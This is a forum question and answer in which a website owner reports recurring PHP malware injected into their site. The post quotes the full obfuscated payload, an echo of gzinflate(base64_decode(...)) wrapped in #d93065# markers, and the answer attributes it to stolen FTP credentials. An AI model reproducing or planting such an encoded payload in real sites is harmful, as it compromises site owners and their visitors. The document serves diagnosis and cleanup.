Question

My internet website keeps on being infected with the following code. I keep removing it, after some day maybe it is there again. Help please.

#d93065#
echo(gzinflate(base64_decode("tVXbjptADP2VNi+BRmmZgbkglr70E/qIeIgTyLLahhRQ0CrKv9c2QzbZknRVaZWLPB7P8bF9Bh7adVPtu+9VGiRd83LcN3VXdy/7IjmtV9360Su2Rb9tN/6xTLP5MpRAPx2BFrCMYSlAxWACUBaMBm1BB6DRo0CBlrRCU6Lb8M7FvolAKrABRCEoTcGhYYNjEHgpQRnGjikMl2giHiiyLDJB3JHRKysTvqKgjUABCHsVbCPiTkwM0aB08RTg7dKMJWxMiCvH1oCIJyggMqYgjwXJVeiQy8evAIFtwQ/WaQc2hiH4vKJThrct8SCT01sQzEEwFDeKslg6qjgC/UMuPOi20UX8I54KM3gbYbiagQeGDtsDIWpSRCzpvHF1YyTRD11aFbsGYbORFBGOxg5FtKQtnrDirpuhYO1aKM4aEeTBSMNIipHE2YGcpOBWTzRb8hwm532xpEPcS2Wv2C3jOxKakIfhaiggdtdB8rxvy0YNsgn4HJc9eTUG8U9oSQ61oVs54dIco1FPoZvSuakD0Fl/aIcfpcArYpc6Uv/Q0PlSvJEROm8j3tDXgHVLYvcQL7XnlH+fwajL6eD3Tub6zo7zcXfyf2b99zWfAn3/g+4Dn+GKb4FgFTEgxkjtlIC5FL9e9OTze55nQf613T9XnTeHuZ8c0lkxW8wOK/x7niWnqvQOfpH21W5T99kh55fbrug/CanGV9vvfusf+7RM2jTLk1OT/uyaardNyrrxEqXN57RKqkUq/OMTWaVX+G3aLppsVmKWBn/1rx/4/7gim6x6U8xyr8+e8i9iEQmfeRR+4bV+8vDNvWr/AA==")));
#/d93065#

Edit: Is there any way to find out how did the code come if it ever happens again. Could it be from the provider or what?
I also have to say that all my accounts are infected not only one.

Answer 1

My suggestion would be that your FTP account has been compromised. Change your FTP password and don’t store it anywhere, clean your web and wait if it helps. If you store your FTP password in your computer, double-check it for viruses/malware. It may happen that some malware grabs your FTP password stored e.g. in Total Commander’s list of FTP accounts.